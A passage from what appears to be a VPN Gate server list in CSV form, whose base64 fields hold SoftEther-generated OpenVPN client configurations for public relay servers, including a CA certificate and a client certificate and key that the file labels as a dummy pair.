A8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxNzUuMTI4Ljk1LjkzIDE2NDgNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn573567832,221.151.198.247,569178,29,589292297,Korea Republic of,KR,10,0,100529,4259009794778,2weeks,DESKTOP-RR45UEI's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMjEuMTUxLjE5OC4yNDcgOTk1DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JD